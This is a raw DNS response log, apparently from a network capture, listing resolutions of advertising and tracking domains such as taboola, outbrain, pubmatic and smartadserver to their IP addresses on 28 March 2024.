Mar 28, 2024 09:51:38.286993980 CET	1.1.1.1	192.168.2.4	0xfc5e	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		34.227.167.139	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.286993980 CET	1.1.1.1	192.168.2.4	0xfc5e	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		3.222.125.12	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.286993980 CET	1.1.1.1	192.168.2.4	0xfc5e	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		184.73.166.124	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.288321018 CET	1.1.1.1	192.168.2.4	0xd38c	No error (0)	pr-bh.ybp.yahoo.com	ds-pr-bh.ybp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:38.292975903 CET	1.1.1.1	192.168.2.4	0xdf9a	No error (0)	tracker.neodatagroup.com		20.101.38.191	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.303049088 CET	1.1.1.1	192.168.2.4	0x2fdf	No error (0)	us-u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.303049088 CET	1.1.1.1	192.168.2.4	0x2fdf	No error (0)	us-u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.306395054 CET	1.1.1.1	192.168.2.4	0xe027	No error (0)	pixel.mathtag.com	pixel-origin.mathtag.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:38.306395054 CET	1.1.1.1	192.168.2.4	0xe027	No error (0)	pixel-origin.mathtag.com		216.200.232.253	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.306395054 CET	1.1.1.1	192.168.2.4	0xe027	No error (0)	pixel-origin.mathtag.com		74.121.140.211	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.306395054 CET	1.1.1.1	192.168.2.4	0xe027	No error (0)	pixel-origin.mathtag.com		216.200.232.249	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.307544947 CET	1.1.1.1	192.168.2.4	0x4377	No error (0)	pixel.mathtag.com	pixel-origin.mathtag.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:38.312880993 CET	1.1.1.1	192.168.2.4	0x4b62	No error (0)	trc.taboola.com	dualstack.tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:38.312880993 CET	1.1.1.1	192.168.2.4	0x4b62	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.312880993 CET	1.1.1.1	192.168.2.4	0x4b62	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.312880993 CET	1.1.1.1	192.168.2.4	0x4b62	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.312880993 CET	1.1.1.1	192.168.2.4	0x4b62	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.314445972 CET	1.1.1.1	192.168.2.4	0x9057	No error (0)	trc.taboola.com	dualstack.tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:38.317439079 CET	1.1.1.1	192.168.2.4	0xb053	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:38.317717075 CET	1.1.1.1	192.168.2.4	0x3992	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:38.319344997 CET	1.1.1.1	192.168.2.4	0x453a	No error (0)	esp.rtbhouse.com		35.190.39.111	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.321013927 CET	1.1.1.1	192.168.2.4	0xe760	No error (0)	bcp.crwdcntrl.net		18.207.42.67	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.321013927 CET	1.1.1.1	192.168.2.4	0xe760	No error (0)	bcp.crwdcntrl.net		44.219.90.173	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.321013927 CET	1.1.1.1	192.168.2.4	0xe760	No error (0)	bcp.crwdcntrl.net		34.198.123.133	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.321013927 CET	1.1.1.1	192.168.2.4	0xe760	No error (0)	bcp.crwdcntrl.net		34.232.211.121	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.321013927 CET	1.1.1.1	192.168.2.4	0xe760	No error (0)	bcp.crwdcntrl.net		107.23.193.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.321013927 CET	1.1.1.1	192.168.2.4	0xe760	No error (0)	bcp.crwdcntrl.net		34.224.142.24	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.321013927 CET	1.1.1.1	192.168.2.4	0xe760	No error (0)	bcp.crwdcntrl.net		44.205.216.19	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.321013927 CET	1.1.1.1	192.168.2.4	0xe760	No error (0)	bcp.crwdcntrl.net		52.207.168.130	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.345668077 CET	1.1.1.1	192.168.2.4	0x1739	No error (0)	dmp.v.fwmrm.net	g13v.fwgtm.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:38.351058006 CET	1.1.1.1	192.168.2.4	0x16bb	No error (0)	dmp.v.fwmrm.net	g13v.fwgtm.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:38.615772963 CET	1.1.1.1	192.168.2.4	0xb75e	No error (0)	sync.technoratimedia.com	adserver.technoratimedia.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:38.616724014 CET	1.1.1.1	192.168.2.4	0xaf5f	No error (0)	sync.technoratimedia.com	adserver.technoratimedia.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:38.616724014 CET	1.1.1.1	192.168.2.4	0xaf5f	No error (0)	adserver.technoratimedia.com		150.136.25.38	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:40.503351927 CET	1.1.1.1	192.168.2.4	0xdd69	No error (0)	aax-eu.amazon-adsystem.com		67.220.224.144	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.272766113 CET	1.1.1.1	192.168.2.4	0x69c6	No error (0)	widget-pixels.outbrain.com	wildcard.outbrain.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.273689032 CET	1.1.1.1	192.168.2.4	0x95d7	No error (0)	widget-pixels.outbrain.com	wildcard.outbrain.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.274219036 CET	1.1.1.1	192.168.2.4	0x6154	No error (0)	sync.srv.stackadapt.com		54.204.238.69	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.274219036 CET	1.1.1.1	192.168.2.4	0x6154	No error (0)	sync.srv.stackadapt.com		54.145.45.250	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.274219036 CET	1.1.1.1	192.168.2.4	0x6154	No error (0)	sync.srv.stackadapt.com		54.152.230.68	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.274219036 CET	1.1.1.1	192.168.2.4	0x6154	No error (0)	sync.srv.stackadapt.com		54.198.227.184	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.274219036 CET	1.1.1.1	192.168.2.4	0x6154	No error (0)	sync.srv.stackadapt.com		54.157.225.250	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.274219036 CET	1.1.1.1	192.168.2.4	0x6154	No error (0)	sync.srv.stackadapt.com		54.159.174.96	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.274219036 CET	1.1.1.1	192.168.2.4	0x6154	No error (0)	sync.srv.stackadapt.com		54.166.8.47	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.274219036 CET	1.1.1.1	192.168.2.4	0x6154	No error (0)	sync.srv.stackadapt.com		54.152.60.86	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.275176048 CET	1.1.1.1	192.168.2.4	0x4e44	No error (0)	c1.adform.net	track.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.276140928 CET	1.1.1.1	192.168.2.4	0xce2b	No error (0)	rtb-csync.smartadserver.com	rtb-csync-geo.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.276140928 CET	1.1.1.1	192.168.2.4	0xce2b	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.150	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.276140928 CET	1.1.1.1	192.168.2.4	0xce2b	No error (0)	rtb-csync-use1.smartadserver.com		23.105.14.106	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.276140928 CET	1.1.1.1	192.168.2.4	0xce2b	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.151	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.276140928 CET	1.1.1.1	192.168.2.4	0xce2b	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.41	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.276140928 CET	1.1.1.1	192.168.2.4	0xce2b	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.173	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.276140928 CET	1.1.1.1	192.168.2.4	0xce2b	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.9	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.276140928 CET	1.1.1.1	192.168.2.4	0xce2b	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.57	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.276140928 CET	1.1.1.1	192.168.2.4	0xce2b	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.172	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.276140928 CET	1.1.1.1	192.168.2.4	0xce2b	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.136	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.276140928 CET	1.1.1.1	192.168.2.4	0xce2b	No error (0)	rtb-csync-use1.smartadserver.com		23.105.14.105	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.276140928 CET	1.1.1.1	192.168.2.4	0xce2b	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.8	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.276140928 CET	1.1.1.1	192.168.2.4	0xce2b	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.56	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.276140928 CET	1.1.1.1	192.168.2.4	0xce2b	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.40	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.276140928 CET	1.1.1.1	192.168.2.4	0xce2b	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.137	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.276140928 CET	1.1.1.1	192.168.2.4	0xce2b	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.72	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.276140928 CET	1.1.1.1	192.168.2.4	0xce2b	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.73	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.276140928 CET	1.1.1.1	192.168.2.4	0xce2b	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.121	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.276140928 CET	1.1.1.1	192.168.2.4	0xce2b	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.120	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.276400089 CET	1.1.1.1	192.168.2.4	0x8b90	No error (0)	rtb-csync.smartadserver.com	rtb-csync-geo.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.276942968 CET	1.1.1.1	192.168.2.4	0x4898	No error (0)	c1.adform.net	track.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.283909082 CET	1.1.1.1	192.168.2.4	0x564e	No error (0)	bttrack.com		192.132.33.69	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.283909082 CET	1.1.1.1	192.168.2.4	0x564e	No error (0)	bttrack.com		192.132.33.67	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.283909082 CET	1.1.1.1	192.168.2.4	0x564e	No error (0)	bttrack.com		192.132.33.68	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.285433054 CET	1.1.1.1	192.168.2.4	0xc61c	No error (0)	cms.quantserve.com	2kpixel.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.285433054 CET	1.1.1.1	192.168.2.4	0xc61c	No error (0)	2kpixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.285433054 CET	1.1.1.1	192.168.2.4	0xc61c	No error (0)	global.px.quantserve.com		192.184.68.215	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.285433054 CET	1.1.1.1	192.168.2.4	0xc61c	No error (0)	global.px.quantserve.com		192.184.68.134	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.285433054 CET	1.1.1.1	192.168.2.4	0xc61c	No error (0)	global.px.quantserve.com		192.184.68.254	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.285433054 CET	1.1.1.1	192.168.2.4	0xc61c	No error (0)	global.px.quantserve.com		192.184.68.166	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.285433054 CET	1.1.1.1	192.168.2.4	0xc61c	No error (0)	global.px.quantserve.com		192.184.68.228	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.285465956 CET	1.1.1.1	192.168.2.4	0xbee0	No error (0)	cms.quantserve.com	2kpixel.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.285465956 CET	1.1.1.1	192.168.2.4	0xbee0	No error (0)	2kpixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.286156893 CET	1.1.1.1	192.168.2.4	0x9c0c	No error (0)	pm.w55c.net	cdn.w55c.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.286156893 CET	1.1.1.1	192.168.2.4	0x9c0c	No error (0)	cdn.w55c.net		52.86.126.204	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.286156893 CET	1.1.1.1	192.168.2.4	0x9c0c	No error (0)	cdn.w55c.net		52.54.57.187	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.286156893 CET	1.1.1.1	192.168.2.4	0x9c0c	No error (0)	cdn.w55c.net		52.6.168.171	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.286156893 CET	1.1.1.1	192.168.2.4	0x9c0c	No error (0)	cdn.w55c.net		54.166.48.10	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.286156893 CET	1.1.1.1	192.168.2.4	0x9c0c	No error (0)	cdn.w55c.net		54.167.117.6	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.286156893 CET	1.1.1.1	192.168.2.4	0x9c0c	No error (0)	cdn.w55c.net		54.156.21.247	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.286156893 CET	1.1.1.1	192.168.2.4	0x9c0c	No error (0)	cdn.w55c.net		52.7.252.24	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.286156893 CET	1.1.1.1	192.168.2.4	0x9c0c	No error (0)	cdn.w55c.net		52.73.176.61	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.287014008 CET	1.1.1.1	192.168.2.4	0xa426	No error (0)	pm.w55c.net	cdn.w55c.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.287415028 CET	1.1.1.1	192.168.2.4	0xab0f	No error (0)	ssbsync.smartadserver.com	ssbsync-geo.smartadserver.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.287415028 CET	1.1.1.1	192.168.2.4	0xab0f	No error (0)	ssbsync-geo.smartadserver.com	usersync-geo-global.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.287415028 CET	1.1.1.1	192.168.2.4	0xab0f	No error (0)	ssbsync-usw1.smartadserver.com		23.83.76.53	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.287415028 CET	1.1.1.1	192.168.2.4	0xab0f	No error (0)	ssbsync-usw1.smartadserver.com		23.83.76.38	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.287415028 CET	1.1.1.1	192.168.2.4	0xab0f	No error (0)	ssbsync-usw1.smartadserver.com		23.83.76.52	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.287415028 CET	1.1.1.1	192.168.2.4	0xab0f	No error (0)	ssbsync-usw1.smartadserver.com		23.83.76.69	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.287415028 CET	1.1.1.1	192.168.2.4	0xab0f	No error (0)	ssbsync-usw1.smartadserver.com		23.83.76.85	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.287415028 CET	1.1.1.1	192.168.2.4	0xab0f	No error (0)	ssbsync-usw1.smartadserver.com		23.83.76.39	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.287415028 CET	1.1.1.1	192.168.2.4	0xab0f	No error (0)	ssbsync-usw1.smartadserver.com		23.83.76.84	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.287415028 CET	1.1.1.1	192.168.2.4	0xab0f	No error (0)	ssbsync-usw1.smartadserver.com		23.83.76.101	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.287415028 CET	1.1.1.1	192.168.2.4	0xab0f	No error (0)	ssbsync-usw1.smartadserver.com		23.83.76.68	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.287415028 CET	1.1.1.1	192.168.2.4	0xab0f	No error (0)	ssbsync-usw1.smartadserver.com		23.83.76.100	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.288028955 CET	1.1.1.1	192.168.2.4	0xabd1	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.288028955 CET	1.1.1.1	192.168.2.4	0xabd1	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.288028955 CET	1.1.1.1	192.168.2.4	0xabd1	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.288865089 CET	1.1.1.1	192.168.2.4	0xf25e	No error (0)	mv.outbrain.com	outbrain.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.288865089 CET	1.1.1.1	192.168.2.4	0xf25e	No error (0)	outbrain.map.fastly.net		146.75.30.132	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.288950920 CET	1.1.1.1	192.168.2.4	0x1eb5	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.288950920 CET	1.1.1.1	192.168.2.4	0x1eb5	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.288950920 CET	1.1.1.1	192.168.2.4	0x1eb5	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.289385080 CET	1.1.1.1	192.168.2.4	0x5258	No error (0)	ssbsync.smartadserver.com	ssbsync-geo.smartadserver.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.289385080 CET	1.1.1.1	192.168.2.4	0x5258	No error (0)	ssbsync-geo.smartadserver.com	usersync-geo-global.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.289920092 CET	1.1.1.1	192.168.2.4	0xc627	No error (0)	mv.outbrain.com	outbrain.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.706567049 CET	1.1.1.1	192.168.2.4	0x5477	No error (0)	pr-bh.ybp.yahoo.com	ds-pr-bh.ybp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.706567049 CET	1.1.1.1	192.168.2.4	0x5477	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		35.169.224.111	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.706567049 CET	1.1.1.1	192.168.2.4	0x5477	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		3.222.196.53	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.706567049 CET	1.1.1.1	192.168.2.4	0x5477	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		107.22.88.141	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.706567049 CET	1.1.1.1	192.168.2.4	0x5477	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		3.222.125.12	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.706855059 CET	1.1.1.1	192.168.2.4	0xe60f	No error (0)	s.seedtag.com		34.149.50.64	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.710695982 CET	1.1.1.1	192.168.2.4	0x7549	No error (0)	pr-bh.ybp.yahoo.com	ds-pr-bh.ybp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.799604893 CET	1.1.1.1	192.168.2.4	0xa456	No error (0)	r.turn.com	r.turn.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:41.800026894 CET	1.1.1.1	192.168.2.4	0x1131	No error (0)	r.turn.com	r.turn.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:42.032362938 CET	1.1.1.1	192.168.2.4	0xad45	No error (0)	t.teads.tv	t.teads.tv.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:42.032984972 CET	1.1.1.1	192.168.2.4	0x2522	No error (0)	t.teads.tv	t.teads.tv.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:43.992966890 CET	1.1.1.1	192.168.2.4	0xe11	No error (0)	feed.pghub.io		34.102.243.38	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:43.998975039 CET	1.1.1.1	192.168.2.4	0x34d4	No error (0)	bsnews.onesignal.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:43.999391079 CET	1.1.1.1	192.168.2.4	0xdeaf	No error (0)	bsnews.onesignal.com		104.18.214.59	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:43.999391079 CET	1.1.1.1	192.168.2.4	0xdeaf	No error (0)	bsnews.onesignal.com		104.18.215.59	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.010771990 CET	1.1.1.1	192.168.2.4	0xbd	No error (0)	visitor-us-west-2.omnitagjs.com		35.166.23.142	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.010771990 CET	1.1.1.1	192.168.2.4	0xbd	No error (0)	visitor-us-west-2.omnitagjs.com		34.218.29.138	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.010771990 CET	1.1.1.1	192.168.2.4	0xbd	No error (0)	visitor-us-west-2.omnitagjs.com		52.12.180.5	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.010771990 CET	1.1.1.1	192.168.2.4	0xbd	No error (0)	visitor-us-west-2.omnitagjs.com		35.167.5.13	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.010771990 CET	1.1.1.1	192.168.2.4	0xbd	No error (0)	visitor-us-west-2.omnitagjs.com		52.40.91.32	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.010771990 CET	1.1.1.1	192.168.2.4	0xbd	No error (0)	visitor-us-west-2.omnitagjs.com		44.230.65.192	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.010771990 CET	1.1.1.1	192.168.2.4	0xbd	No error (0)	visitor-us-west-2.omnitagjs.com		34.223.242.45	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.010771990 CET	1.1.1.1	192.168.2.4	0xbd	No error (0)	visitor-us-west-2.omnitagjs.com		52.33.246.226	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.024030924 CET	1.1.1.1	192.168.2.4	0x1539	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.024030924 CET	1.1.1.1	192.168.2.4	0x1539	No error (0)	image2v2.pubmnet.com	pug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.024030924 CET	1.1.1.1	192.168.2.4	0x1539	No error (0)	pug-vac.pubmnet.com		8.28.7.83	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.025065899 CET	1.1.1.1	192.168.2.4	0x6b16	No error (0)	g2.gumgum.com		52.207.14.193	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.025065899 CET	1.1.1.1	192.168.2.4	0x6b16	No error (0)	g2.gumgum.com		52.205.147.249	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.025065899 CET	1.1.1.1	192.168.2.4	0x6b16	No error (0)	g2.gumgum.com		54.225.233.21	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.025065899 CET	1.1.1.1	192.168.2.4	0x6b16	No error (0)	g2.gumgum.com		34.196.91.163	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.025065899 CET	1.1.1.1	192.168.2.4	0x6b16	No error (0)	g2.gumgum.com		54.82.87.47	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.025065899 CET	1.1.1.1	192.168.2.4	0x6b16	No error (0)	g2.gumgum.com		18.210.160.10	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.025065899 CET	1.1.1.1	192.168.2.4	0x6b16	No error (0)	g2.gumgum.com		52.3.29.96	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.025065899 CET	1.1.1.1	192.168.2.4	0x6b16	No error (0)	g2.gumgum.com		52.203.159.247	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.025736094 CET	1.1.1.1	192.168.2.4	0x28f1	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.025736094 CET	1.1.1.1	192.168.2.4	0x28f1	No error (0)	image2v2.pubmnet.com	pug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.032754898 CET	1.1.1.1	192.168.2.4	0x770c	No error (0)	image4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.032754898 CET	1.1.1.1	192.168.2.4	0x770c	No error (0)	image4-v2.pubmnet.com	spug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.032754898 CET	1.1.1.1	192.168.2.4	0x770c	No error (0)	spug-vac.pubmnet.com		8.28.7.84	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.033566952 CET	1.1.1.1	192.168.2.4	0xb48f	No error (0)	image4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.033566952 CET	1.1.1.1	192.168.2.4	0xb48f	No error (0)	image4-v2.pubmnet.com	spug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.049063921 CET	1.1.1.1	192.168.2.4	0xc33f	No error (0)	rtb.adentifi.com		54.88.74.145	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.049063921 CET	1.1.1.1	192.168.2.4	0xc33f	No error (0)	rtb.adentifi.com		54.204.233.13	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.049063921 CET	1.1.1.1	192.168.2.4	0xc33f	No error (0)	rtb.adentifi.com		54.236.94.254	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.049063921 CET	1.1.1.1	192.168.2.4	0xc33f	No error (0)	rtb.adentifi.com		23.22.126.75	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.049063921 CET	1.1.1.1	192.168.2.4	0xc33f	No error (0)	rtb.adentifi.com		54.227.94.79	A (IP address)	IN (0x0001)	false
